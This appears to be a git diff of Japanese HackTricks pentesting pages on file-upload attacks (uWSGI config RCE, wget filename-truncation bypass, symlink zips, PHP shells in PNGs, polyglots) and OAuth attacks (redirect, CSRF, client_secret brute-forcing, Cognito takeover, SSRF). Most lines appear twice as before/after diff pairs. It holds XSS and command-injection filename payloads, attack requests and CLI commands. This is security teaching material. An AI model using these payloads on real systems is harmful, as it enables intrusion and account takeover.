リモートコマンド実行RCE脆弱性は、`.ini`構成ファイルを変更する能力がある場合、uWSGIサーバーで悪用できます。uWSGI構成ファイルは、"magic"変数、プレースホルダー、および演算子を組み込むため特定の構文を利用します。特に、`@(filename)`として使用される'@'演算子は、ファイルの内容を含めるために設計されています。uWSGIでサポートされているさまざまなスキームの中で、"exec"スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にします。この機能は、`.ini`構成ファイルが処理されるときに、リモートコマンド実行や任意のファイルの書き込み/読み取りなどの悪意のある目的に悪用される可能性があります。
リモートコマンド実行RCE脆弱性は、`.ini`構成ファイルを変更する能力がある場合、uWSGIサーバーで悪用できます。uWSGI構成ファイルは、"magic"変数、プレースホルダー、および演算子を組み込むため特定の構文を利用します。特に、`@(filename)`として使用される'@'演算子は、ファイルの内容を含めるために設計されています。uWSGIでサポートされているさまざまなスキームの中で、"exec"スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にします。この機能は、`.ini`構成ファイルが処理されるときに、リモートコマンド実行や任意のファイルの書き込み/読み取りなどの悪意のある目的に操作される可能性があります。
以下は、さまざまなスキームを示す有害な`uwsgi.ini`ファイルの例です:
```ini
@ -132,7 +132,7 @@ uWSGIの設定ファイル解析の緩い性質を理解することが重要で
## **wget File Upload/SSRF Trick**
場合によっては、サーバーが**`wget`**を使用して**ファイルをダウンロード**しており、**URL**を**指定**できることがあります。この場合、コードはダウンロードされファイルの拡張子がホワイトリスト内にあるかどうかを確認して、許可されたファイルのみがダウンロードされることを保証している可能性があります。しかし、**このチェックは回避可能です。**\
場合によっては、サーバーが**`wget`**を使用して**ファイルをダウンロード**しており、**URL**を**指定**できることがあります。この場合、コードはダウンロードされファイルの拡張子がホワイトリスト内にあるかどうかを確認して、許可されたファイルのみがダウンロードされることを保証している可能性があります。しかし、**このチェックは回避可能です。**\
**linux**における**ファイル名**の**最大**長は**255**ですが、**wget**はファイル名を**236**文字に切り詰めます。**"A"\*232+".php"+".gif"**という名前のファイルを**ダウンロード**できます。このファイル名は**チェックを回避**します(この例では**".gif"**は**有効**な拡張子です)が、`wget`はファイル名を**"A"\*232+".php"**に**変更**します。
```bash
#Create file and HTTP server
@ -169,14 +169,14 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
- **filename**`<svg onload=alert(document.domain)>` に設定して、XSSを達成してください。
- **filename**`; sleep 10;` に設定して、いくつかのコマンドインジェクションをテストします(詳細な [コマンドインジェクションのトリックはこちら](../command-injection.md))。
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS**ファイル**アップロード** + **XSS** = [**Service Workers**の悪用](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- **JS**ファイル **アップロード** + **XSS** = [**Service Workers**の悪用](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)から**異なるsvgペイロード**を試してください。
- [有名な**ImageTrick**脆弱性](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- **URLから画像を取得するようにWebサーバーを指示できる**場合、[SSRF](../ssrf-server-side-request-forgery/index.html)を悪用することを試みることができます。この**画像**が**公開**サイトに**保存**される場合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/)からのURLを指定して、**訪問者の情報を盗む**こともできます。
- [**XXEとCORS**のバイパスをPDF-Adobeアップロードで](pdf-upload-xxe-and-cors-bypass.md)
- 特別に作成されたPDFを使用したXSS: [次のページでは、**PDFデータを注入してJS実行を取得する方法**を示しています](../xss-cross-site-scripting/pdf-injection.md)。PDFをアップロードできる場合、与えられた指示に従って任意のJSを実行するPDFを準備できます。
- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) から **異なるsvgペイロード**を試してください。
- [有名な **ImageTrick** 脆弱性](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- **URLから画像を取得するようにWebサーバーを指示できる**場合、[SSRF](../ssrf-server-side-request-forgery/index.html)を悪用することを試みることができます。この**画像**が**公開**サイトに**保存**される場合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/) からのURLを指定して、**訪問者の情報を盗む**こともできます。
- [**XXEとCORS**のバイパスをPDF-Adobeアップロードで実行](pdf-upload-xxe-and-cors-bypass.md)
- 特別に作成されたPDFを使用したXSS: [次のページでは、**PDFデータを注入してJS実行する方法**を示しています](../xss-cross-site-scripting/pdf-injection.md)。PDFをアップロードできる場合、与えられた指示に従って任意のJSを実行するPDFを準備できます。
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))の内容をアップロードして、サーバーに**ウイルス対策ソフト**があるかどうかを確認します。
- ファイルをアップロードする際に**サイズ制限**があるかどうかを確認してください。
@ -190,7 +190,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
6. **AVI**: LFI / SSRF
7. **HTML / JS** : HTMLインジェクション / XSS / オープンリダイレクト
8. **PNG / JPEG**: ピクセルフラッド攻撃 (DoS)
9. **ZIP**: LFI経由のRCE / DoS
9. **ZIP**: LFIを介したRCE / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE
#### Burp拡張機能
@ -212,7 +212,7 @@ https://github.com/portswigger/upload-scanner
#### シンリンク
他のファイルへのソフトリンクを含むリンクをアップロードし、解凍されたファイルにアクセスすることでリンクされたファイルにアクセスします。
他のファイルへのソフトリンクを含むリンクをアップロードし、解凍されたファイルにアクセスすることでリンクされたファイルにアクセスします。
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
@ -289,19 +289,19 @@ pop graphic-context
```
## PNGにPHPシェルを埋め込む
PNGファイルのIDATチャンクにPHPシェルを埋め込むことで、特定の画像処理操作を効果的に回避できます。PHP-GDの`imagecopyresized`および`imagecopyresampled`関数は、この文脈で特に関連性が高く、画像のリサイズやリサンプリングに一般的に使用されます。埋め込まれたPHPシェルがこれらの操作の影響を受けない能力は、特定のユースケースにとって重要な利点です。
PNGファイルのIDATチャンクにPHPシェルを埋め込むことで、特定の画像処理操作を効果的に回避できます。PHP-GDの`imagecopyresized`および`imagecopyresampled`関数は、この文脈で特に関連性が高く、画像のリサイズやリサンプリングに一般的に使用されます。埋め込まれたPHPシェルがこれらの操作の影響を受けない能力は、特定のユースケースにおいて重要な利点です。
この技術の詳細な探求、方法論および潜在的な応用については、次の記事で提供されています: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。このリソースは、プロセスとその影響について包括的な理解を提供します。
この技術の詳細な探求、方法論および潜在的な応用については、次の記事に記載されています: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。このリソースは、プロセスとその影響について包括的な理解を提供します。
詳細情報は次のリンクにあります: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## ポリグロットファイル
ポリグロットファイルはサイバーセキュリティにおいてユニークなツールとして機能し、複数のファイル形式に同時に有効に存在できるカメレオンのような役割を果たします。興味深い例としては、GIFとRARアーカイブの両方として機能するハイブリッドである[Gifar](https://en.wikipedia.org/wiki/Gifar)があります。このようなファイルはこのペアリングに限らず、GIFとJSやPPTとJSのような組み合わせも可能です。
ポリグロットファイルはサイバーセキュリティにおいてユニークなツールとして機能し、複数のファイル形式に同時に有効に存在できるカメレオンのような役割を果たします。興味深い例としては、GIFとRARアーカイブの両方として機能するハイブリッドである[GIFAR](https://en.wikipedia.org/wiki/Gifar)があります。このようなファイルはこのペアリングに限らず、GIFとJSやPPTとJSの組み合わせも可能です。
ポリグロットファイルの主な利点は、タイプに基づいてファイルをスクリーニングするセキュリティ対策を回避る能力にあります。さまざまなアプリケーションでは、JPEG、GIF、DOCなどの特定のファイルタイプのみをアップロードすることが一般的であり、潜在的に有害なフォーマットJS、PHP、Pharファイルによるリスクを軽減します。しかし、ポリグロットは複数のファイルタイプの構造基準に適合することで、これらの制限を巧妙に回避できます。
ポリグロットファイルの主な利点は、タイプに基づいてファイルをスクリーニングするセキュリティ対策を回避できる能力にあります。さまざまなアプリケーションでは、JPEG、GIF、DOCなどの特定のファイルタイプのみをアップロードすることが一般的であり、潜在的に有害なフォーマットJS、PHP、Pharファイルによるリスクを軽減します。しかし、ポリグロットは複数のファイルタイプの構造基準に適合することで、これらの制限を巧妙に回避できます。
適応性があるにもかかわらず、ポリグロットには制限もあります。たとえば、ポリグロットがPHARファイルPHp ARchiveとJPEGを同時に具現化している場合でも、そのアップロードの成功はプラットフォームのファイル拡張子ポリシーに依存することがあります。システムが許可される拡張子に厳格である場合、ポリグロットの単なる構造的二重性ではアップロードを保証するには不十分な場合があります。
適応性がある一方で、ポリグロットには制限もあります。たとえば、ポリグロットがPHARファイルPHp ARchiveとJPEGを同時に具現化している場合でも、そのアップロードの成功はプラットフォームのファイル拡張子ポリシーに依存することがあります。システムが許可される拡張子に厳格である場合、ポリグロットの単なる構造的二重性ではアップロードを保証するには不十分な場合があります。
詳細情報は次のリンクにあります: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)

View File

@ -2,35 +2,35 @@
{{#include ../banners/hacktricks-training.md}}
## 基本情報 <a href="#d4a8" id="d4a8"></a>
## Basic Information <a href="#d4a8" id="d4a8"></a>
OAuthはさまざまなバージョンを提供しており、基礎的な洞察は[OAuth 2.0 documentation](https://oauth.net/2/)で入手できます。この議論は主に広く使用されている[OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/)に焦点を当てており、**アプリケーションが他のアプリケーションのユーザーアカウントにアクセスまたは操作を行うことを可能にする認可フレームワーク**を提供します(認可サーバー)。
OAuthはさまざまなバージョンを提供しており、基本的な情報は[OAuth 2.0 documentation](https://oauth.net/2/)で入手できます。この議論は主に広く使用されている[OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/)に焦点を当てており、**アプリケーションが他のアプリケーションのユーザーアカウントにアクセスしたり、アクションを実行したりすることを可能にする認可フレームワーク**を提供します(認可サーバー)。
仮想のウェブサイト_**https://example.com**_を考えてみましょう。これは**あなたのすべてのソーシャルメディア投稿を表示する**ために設計されています。これを実現するためにOAuth 2.0が使用されます。_https://example.com_はあなたの**ソーシャルメディア投稿にアクセスする**ための許可を求めます。その結果、_https://socialmedia.com_同意画面が表示され、**要求されている権限とリクエストを行っている開発者**が示されます。あなたが承認すると、_https://example.com_はあなたの**代わりに投稿にアクセスする**能力を得ます。
仮想のウェブサイト_**https://example.com**_を考えてみてください。これは**すべてのソーシャルメディア投稿を表示する**ために設計されています。プライベートな投稿も含まれます。これを実現するためにOAuth 2.0が使用されます。_https://example.com_は**あなたのソーシャルメディア投稿にアクセスする**ための許可を求めます。その結果、_https://socialmedia.com_同意画面が表示され、**要求されている権限とリクエストを行っている開発者**が示されます。あなたが承認すると、_https://example.com_は**あなたの代わりに投稿にアクセスする**能力を得ます。
OAuth 2.0フレームワーク内の以下のコンポーネントを理解することが重要です:
- **resource owner**: あなた、すなわち**ユーザー/エンティティ**が、ソーシャルメディアアカウントの投稿などのリソースへのアクセスを許可します。
- **resource server**: **リソースオーナー**の代わりに`access token`を取得した後認証されたリクエストを管理する**サーバー**、例:**https://socialmedia.com**。
- **client application**: `resource owner`からの認可を求める**アプリケーション**、例:**https://example.com**。
- **authorization server**: `resource owner`の認証が成功し、認可が得られた後に`client application``access tokens`を発行する**サーバー**、例:**https://socialmedia.com**。
- **resource owner**: あなた、つまり**ユーザー/エンティティ**が、ソーシャルメディアアカウントの投稿など、自分のリソースへのアクセスを許可します。
- **resource server**: **リソースオーナー**の代わりに`access token`を取得した後認証されたリクエストを管理する**サーバー**、例:**https://socialmedia.com**。
- **client application**: **リソースオーナー**からの認可を求める**アプリケーション**、例:**https://example.com**。
- **authorization server**: **リソースオーナー**の認証が成功し、認可が得られた後に`client application`に`access tokens`を発行する**サーバー**、例:**https://socialmedia.com**。
- **client_id**: アプリケーションのための公開の一意の識別子。
- **client_secret:** アプリケーションと認可サーバーのみに知られる機密鍵で、`access_tokens`を生成するために使用されます。
- **response_type**: **要求されるトークンのタイプ**を指定する値、例:`code`
- **scope**: `client application``resource owner`から要求している**アクセスレベル**。
- **redirect_uri**: **ユーザーが認可後にリダイレクトされるURL**これは通常、事前に登録されたリダイレクトURLと一致する必要があります。
- **state**: **ユーザーの認可サーバーへのリダイレクト中にデータを保持するためのパラメータ**。その一意性は**CSRF保護メカニズム**として機能するために重要です。
- **redirect_uri**: **ユーザーが認可後にリダイレクトされるURL**。通常、事前に登録されたリダイレクトURLと一致する必要があります。
- **state**: **ユーザーが認可サーバーにリダイレクトされる際にデータを保持するためのパラメータ**。ユニーク性は**CSRF保護メカニズム**として機能するために重要です。
- **grant_type**: **グラントタイプと返されるトークンのタイプ**を示すパラメータ。
- **code**: `authorization server`からの認可コードで、`client application``access_token`を取得するために`client_id`および`client_secret`と共に使用します。
- **access_token**: `resource owner`の代わりにAPIリクエストに使用される**トークン**。
- **code**: `authorization server`からの認可コードで、`client application``access_token`を取得するために`client_id``client_secret`と共に使用します。
- **access_token**: **リソースオーナーの代わりにAPIリクエストに使用されるトークン**
- **refresh_token**: アプリケーションが**ユーザーに再度プロンプトを表示することなく新しい`access_token`を取得する**ことを可能にします。
### フロー
### Flow
**実際のOAuthフロー**は次のように進行します:
1. あなたは[https://example.com](https://example.com)に移動し、「ソーシャルメディアと統合」ボタンを選択します。
2. サイトは次に、あなたの投稿にアクセスするためにhttps://example.comアプリケーションに許可を求めるリクエストを[https://socialmedia.com](https://socialmedia.com)に送信します。リクエストは次のように構成されます:
2. サイトは次に、あなたの投稿にアクセスするための許可を求めるリクエストを[https://socialmedia.com](https://socialmedia.com)に送信します。リクエストは次のように構成されます:
```
https://socialmedia.com/auth
?response_type=code
@ -44,7 +44,7 @@ https://socialmedia.com/auth
```
https://example.com?code=uniqueCode123&state=randomString123
```
5. https://example.com はこの `code`用し、`client_id``client_secret` と共に、あなたの代わりに `access_token` を取得するためのサーバーサイドリクエストを行い、あなたが同意した権限へのアクセスを可能にします
5. https://example.com はこの `code`使用し、`client_id``client_secret` と共に、あなたの代わりに `access_token` を取得するためのサーバーサイドリクエストを行い、あなたが同意した権限へのアクセスを可能にします:
```
POST /oauth/access_token
Host: socialmedia.com
@ -62,38 +62,38 @@ Host: socialmedia.com
`redirect_uri` の他にも、`client_uri``policy_uri``tos_uri``initiate_login_uri` などの OAuth および OpenID パラメータもリダイレクト攻撃に対して脆弱です。これらのパラメータはオプションであり、サーバーによってサポートが異なります。
OpenID サーバーをターゲットにする場合、ディスカバリーエンドポイント`**.well-known/openid-configuration**`は、`registration_endpoint``request_uri_parameter_supported`、および "`require_request_uri_registration`" などの貴重な構成詳細をリストすることがよくあります。これらの詳細は、登録エンドポイントやサーバーの他の構成の特定に役立ちます。
OpenID サーバーをターゲットにする場合、ディスカバリーエンドポイント (`**.well-known/openid-configuration**`) は、`registration_endpoint``request_uri_parameter_supported`、および "`require_request_uri_registration`" などの貴重な構成詳細をリストすることがよくあります。これらの詳細は、登録エンドポイントやサーバーの他の構成の特定に役立ちます。
### リダイレクト実装における XSS <a href="#bda5" id="bda5"></a>
このバグバウンティレポート [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) で述べられているように、リダイレクト **URL がサーバーの応答に反映される** 可能性があり、ユーザーが認証した後に **XSS に対して脆弱** である可能性があります。テストするための可能なペイロード:
このバグバウンティレポート [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) で述べられているように、リダイレクト **URL がサーバーの応答に反映される可能性があり**、**XSS に対して脆弱である**かもしれません。テストするための可能なペイロード:
```
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
```
### CSRF - 不適切な状態パラメータの取り扱い <a href="#bda5" id="bda5"></a>
OAuthの実装において、**`state`パラメータ**の誤用または省略は、**クロスサイトリクエストフォージェリCSRF**攻撃のリスクを大幅に高める可能性があります。この脆弱性は、`state`パラメータが**使用されていない、静的な値として使用されている、または適切に検証されていない**場合に発生し、攻撃者がCSRF保護を回避できるようになります。
OAuthの実装において、**`state`パラメータ**の誤用または省略は、**クロスサイトリクエストフォージェリCSRF**攻撃のリスクを大幅に増加させる可能性があります。この脆弱性は、`state`パラメータが**使用されていない、静的な値として使用されている、または適切に検証されていない**場合に発生し、攻撃者がCSRF保護を回避できるようになります。
攻撃者は、認プロセスを傍受して自分のアカウントを被害者のアカウントにリンクさせることでこれを悪用し、潜在的な**アカウント乗っ取り**を引き起こすことができます。これは、OAuthが**認証目的**で使用されるアプリケーションでは特に重要です。
攻撃者は、認プロセスを傍受して自分のアカウントを被害者のアカウントにリンクさせることでこれを悪用し、潜在的な**アカウント乗っ取り**を引き起こすことができます。これは、OAuthが**認証目的**で使用されるアプリケーションでは特に重要です。
この脆弱性の実例は、さまざまな**CTFチャレンジ**や**ハッキングプラットフォーム**で文書化されており、その実際の影響が強調されています。この問題は、**Slack**、**Stripe**、**PayPal**などのサードパーティサービスとの統合にも及び、攻撃者が通知や支払いを自分のアカウントにリダイレクトできる可能性があります。
この脆弱性の実例は、さまざまな**CTFチャレンジ**や**ハッキングプラットフォーム**で文書化されており、その実際の影響を強調しています。この問題は、**Slack**、**Stripe**、**PayPal**などのサードパーティサービスとの統合にも及び、攻撃者が通知や支払いを自分のアカウントにリダイレクトできる可能性があります。
**`state`パラメータ**の適切な取り扱いと検証は、CSRFから保護し、OAuthフローを安全に保つために重要です。
### アカウント乗っ取り前 <a href="#ebe4" id="ebe4"></a>
1. **アカウント作成時のメール確認なし**: 攻撃者は被害者のメールを使用して事前にアカウントを作成できます。被害者が後にサードパーティサービスを使用してログインすると、アプリケーションがこのサードパーティアカウントを攻撃者の事前作成アカウントに誤ってリンクさせ、無許可のアクセスを引き起こす可能性があります。
1. **アカウント作成時のメール確認なし**: 攻撃者は被害者のメールを使用して事前にアカウントを作成できます。被害者が後にサードパーティサービスでログインを使用すると、アプリケーションがこのサードパーティアカウントを攻撃者の事前作成アカウントに誤ってリンクさせ、無許可のアクセスを引き起こす可能性があります。
2. **緩いOAuthメール確認の悪用**: 攻撃者は、メールを確認しないOAuthサービスを悪用し、自分のサービスに登録した後、アカウントのメールを被害者のものに変更することができます。この方法も、最初のシナリオと同様に無許可のアカウントアクセスのリスクがありますが、異なる攻撃ベクターを通じて行われます。
### 秘密の開示 <a href="#e177" id="e177"></a>
秘密のOAuthパラメータを特定し保護することは重要です。**`client_id`**は安全に開示できますが、**`client_secret`**を明らかにすることは重大なリスクを伴います。`client_secret`が漏洩すると、攻撃者はアプリケーションのアイデンティティと信頼を悪用して**ユーザーの`access_tokens`**やプライベート情報を**盗む**ことができます。
一般的な脆弱性は、アプリケーションが認可`code``access_token`に交換する際に、クライアント側ではなくサーバー側で誤って処理することから生じます。この誤りは`client_secret`の露出を引き起こし、攻撃者がアプリケーションの名義で`access_tokens`を生成できるようにします。さらに、ソーシャルエンジニアリングを通じて、攻撃者はOAuth認可に追加のスコープを追加することで権限をエスカレートし、アプリケーションの信頼された地位をさらに悪用することができます。
一般的な脆弱性は、アプリケーションが認可`code``access_token`に交換する際に、クライアント側ではなくサーバー側で誤って処理する場合に発生します。この誤りは`client_secret`の露出を引き起こし、攻撃者がアプリケーションの名義で`access_tokens`を生成できるようにします。さらに、ソーシャルエンジニアリングを通じて、攻撃者はOAuth認可に追加のスコープを追加することで権限をエスカレートし、アプリケーションの信頼された地位をさらに悪用することができます。
### クライアントシークレットブルートフォース
サービスプロバイダーのアイデンティティプロバイダーに対して**client_secretをブルートフォース**し、アカウントを盗む試みを行うことができます。\
サービスプロバイダーのアイデンティティプロバイダーに対して**クライアントシークレットをブルートフォース**し、アカウントを盗む試みを行うことができます。\
ブルートフォースのリクエストは次のようになる可能性があります:
```
POST /token HTTP/1.1
@ -106,11 +106,11 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
```
### Referer Header leaking Code + State
クライアントが**コードとステート**を持っている場合、それが**Refererヘッダー内に反映されている**と、脆弱性があります。
クライアントが**codeとstate**を持っている場合、異なるページに移動するときにそれが**Refererヘッダー内に反映される**と、脆弱性があります。
### Access Token Stored in Browser History
**ブラウザの履歴にアクセス トークンが保存されているか確認してください**。
**ブラウザの履歴にアクセス トークンが保存されているか確認します**。
### Everlasting Authorization Code
@ -126,7 +126,7 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
### AWS Cognito <a href="#bda5" id="bda5"></a>
このバグバウンティレポートでは: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) **AWS Cognito**がユーザーに返す**トークン**が**ユーザーデータを上書きするのに十分な権限を持っている可能性がある**ことがわかります。したがって、**異なるユーザーのメールアドレスにユーザーのメールアドレスを変更できる場合、他のアカウントを**乗っ取ることができるかもしれません。
このバグバウンティレポートでは[**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) **AWS Cognito**がユーザーに返す**トークン**が**ユーザーデータを上書きするのに十分な権限を持っている可能性がある**ことがわかります。したがって、**異なるユーザーのメールアドレスにユーザーのメールアドレスを変更できる場合、他のアカウントを**乗っ取ることができるかもしれません。
```bash
# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
@ -146,14 +146,14 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
For more detailed info about how to abuse AWS cognito check:
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum
https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.html
{{#endref}}
### 他のアプリのトークンを悪用する <a href="#bda5" id="bda5"></a>
### 他のアプリのトークンの悪用 <a href="#bda5" id="bda5"></a>
[**この書き込みで言及されているように**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts)、**トークン**コードではなくを受け取ることを期待するOAuthフローは、トークンがアプリに属しているかどうかを確認しない場合、脆弱である可能性があります。
これは、**攻撃者**が自分のアプリケーションで**OAuthをサポートし、Facebookでログイン**する**アプリケーションを作成できるためです**。その後、被害者が**攻撃者のアプリケーション**でFacebookにログインすると、攻撃者は**被害者のアプリケーションに与えられたユーザーのOAuthトークンを取得し、それを使用して被害者のOAuthアプリケーションにログインすることができます**。
これは、**攻撃者**が自分のアプリケーションで**OAuthをサポートし、Facebookでログイン**する**アプリケーション**を作成できるためです。次に、被害者が**攻撃者のアプリケーション**でFacebookにログインすると、攻撃者は**被害者のアプリケーションに与えられたユーザーのOAuthトークンを取得し、それを使用して被害者のOAuthアプリケーションにログインすることができます**。
> [!CAUTION]
> したがって、攻撃者がユーザーに自分のOAuthアプリケーションへのアクセスを取得させることに成功すれば、トークンを期待しているアプリケーションで被害者のアカウントを乗っ取ることができます。
@ -162,15 +162,15 @@ https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated
[**この書き込みによると**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f)、被害者が攻撃者のホストを指す**returnUrl**を持つページを開くことが可能でした。この情報は**クッキーRU**に**保存され**、**後のステップ**で**プロンプト**が**ユーザー**にその攻撃者のホストへのアクセスを許可するかどうかを**尋ねます**。
このプロンプトを回避するために、**Oauthフロー**を開始するためのタブを開き、**returnUrl**を使用してこのRUクッキーを設定、プロンプトが表示される前にタブを閉じ、新しいタブをその値なしで開くことが可能でした。そうすると、**プロンプトは攻撃者のホストについて通知しませんが、クッキーはそれに設定されるため、**トークンはリダイレクトで攻撃者のホストに送信されます**。
このプロンプトを回避するために、**returnUrl**を使用してこのRUクッキーを設定する**Oauthフロー**を開始するタブを開き、プロンプトが表示される前にタブを閉じ、新しいタブをその値なしで開くことが可能でした。すると、**プロンプトは攻撃者のホストについて通知しませんが、クッキーはそれに設定されるため、**トークンはリダイレクトで攻撃者のホストに送信されます**。
### プロンプトインタラクションバイパス <a href="#bda5" id="bda5"></a>
[**このビデオで説明されているように**](https://www.youtube.com/watch?v=n9x7_J_a_7Q)、一部のOAuth実装では、**`prompt`** GETパラメータをNone**`&prompt=none`**)として指定することができ、ユーザーがプラットフォームにすでにログインしている場合、ウェブでのアクセス確認を求められないようにすることができます。
[**このビデオで説明されているように**](https://www.youtube.com/watch?v=n9x7_J_a_7Q)、一部のOAuth実装では、**`prompt`** GETパラメータをNone**`&prompt=none`**)として指定することで、プラットフォームに既にログインしている場合に、ウェブ上で与えられたアクセスを確認するようにユーザーに求めることを**防ぐ**ことができます。
### response_mode
[**このビデオで説明されているように**](https://www.youtube.com/watch?v=n9x7_J_a_7Q)、**`response_mode`**パラメータを指定して、最終URLでコードをどこに提供するかを示すことが可能です:
[**このビデオで説明されているように**](https://www.youtube.com/watch?v=n9x7_J_a_7Q)、**`response_mode`**パラメータを指定して、最終URLでコードをどこに提供したいかを示すことが可能です:
- `response_mode=query` -> コードはGETパラメータ内に提供されます`?code=2397rf3gu93f`
- `response_mode=fragment` -> コードはURLフラグメントパラメータ内に提供されます`#code=2397rf3gu93f`
@ -183,28 +183,28 @@ https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated
### オープンリダイレクトに基づくウェブページのリダイレクトでのATO <a href="#bda5" id="bda5"></a>
この[**ブログ投稿**](https://blog.voorivex.team/oauth-non-happy-path-to-ato)は、**オープンリダイレクト**を利用して**リファラー**からの値を悪用し、OAuthを使用してATOを行う方法について説明しています。攻撃は次の通りです:
この[**ブログ投稿**](https://blog.voorivex.team/oauth-non-happy-path-to-ato)は、**オープンリダイレクト**を利用して**リファラー**からの値を悪用し、OAuthを使用してATOを実行する方法について説明しています。攻撃は次のとおりです:
1. 被害者が攻撃者のウェブページにアクセスします
2. 被害者が悪意のあるリンクを開くと、オープナーが`response_type=id_token,code&prompt=none`を追加パラメータとして使用してGoogle OAuthフローを開始します。**リファラーは攻撃者のウェブサイト**です。
3. オープナーで、プロバイダーが被害者を認すると、`redirect_uri`パラメータの値被害者のウェブに30Xコードで戻します。これにより、攻撃者のウェブサイトがリファラーに残ります。
4. 被害者の**ウェブサイトはリファラーに基づいてオープンリダイレクトをトリガーし**、被害者のユーザーを攻撃者のウェブサイトにリダイレクトします。**`respose_type`**が**`id_token,code`**であったため、コードはURLの**フラグメント**で攻撃者に返され、被害者のサイトでGoogleを介してユーザーのアカウントを乗っ取ることができます。
3. オープナーで、プロバイダーが被害者を認すると、`redirect_uri`パラメータの値被害者のウェブに30Xコードで戻しますが、攻撃者のウェブサイトはリファラーに残ります。
4. 被害者の**ウェブサイトはリファラーに基づいてオープンリダイレクトをトリガーし**、被害者のユーザーを攻撃者のウェブサイトにリダイレクトします。**`respose_type`**が**`id_token,code`**であったため、コードは**URLのフラグメント**で攻撃者に返され、被害者のサイトでGoogleを介してユーザーのアカウントを乗っ取ることができます。
### SSRFsパラメータ <a href="#bda5" id="bda5"></a>
[**この研究を確認してください**](https://portswigger.net/research/hidden-oauth-attack-vectors) **この技術の詳細について。**
OAuthにおける動的クライアント登録は、**サーバーサイドリクエストフォージェリSSRF**攻撃に対する明白ではないが重要なベクトルとして機能します。このエンドポイントは、OAuthサーバーがクライアントアプリケーションに関する詳細を受け取ることを可能にし、悪用される可能性のある機密URLを含みます。
OAuthにおけるダイナミッククライアント登録は、特に**サーバーサイドリクエストフォージェリSSRF**攻撃に対するセキュリティ脆弱性の重要なベクトルとして機能します。このエンドポイントは、OAuthサーバーがクライアントアプリケーションに関する詳細を受け取ることを可能にし、悪用される可能性のある機密URLを含みます。
**重要なポイント:**
- **動的クライアント登録**は通常`/register`にマッピングされ、`client_name``client_secret``redirect_uris`およびロゴやJSON Web Key SetsJWKsのURLなどの詳細をPOSTリクエストで受け入れます。
- **ダイナミッククライアント登録**は通常`/register`にマッピングされ、`client_name``client_secret``redirect_uris`、ロゴやJSON Web Key SetsJWKsのURLなどの詳細をPOSTリクエストで受け入れます。
- この機能は、**RFC7591**および**OpenID Connect Registration 1.0**に記載された仕様に準拠しており、SSRFに対して脆弱なパラメータを含んでいます。
- 登録プロセスは、いくつかの方法でサーバーをSSRFにさらす可能性があります
- **`logo_uri`**サーバーによって取得される可能性のあるクライアントアプリケーションのロゴのURLで、SSRFを引き起こすか、URLが不適切に処理された場合にXSSを引き起こす可能性があります。
- **`jwks_uri`**クライアントのJWKドキュメントへのURLで、悪意を持って作成された場合、サーバーが攻撃者が制御するサーバーへの外部リクエストを行う可能性があります。
- **`jwks_uri`**クライアントのJWKドキュメントへのURLで、悪意を持って作成された場合、サーバーが攻撃者が制御するサーバーへの外部リクエストを行う原因となる可能性があります。
- **`sector_identifier_uri`**:サーバーが取得する可能性のある`redirect_uris`のJSON配列を参照し、SSRFの機会を生み出します。
- **`request_uris`**:クライアントのために許可されたリクエストURIをリストし、サーバーが認可プロセスの開始時にこれらのURIを取得する場合に悪用される可能性があります。
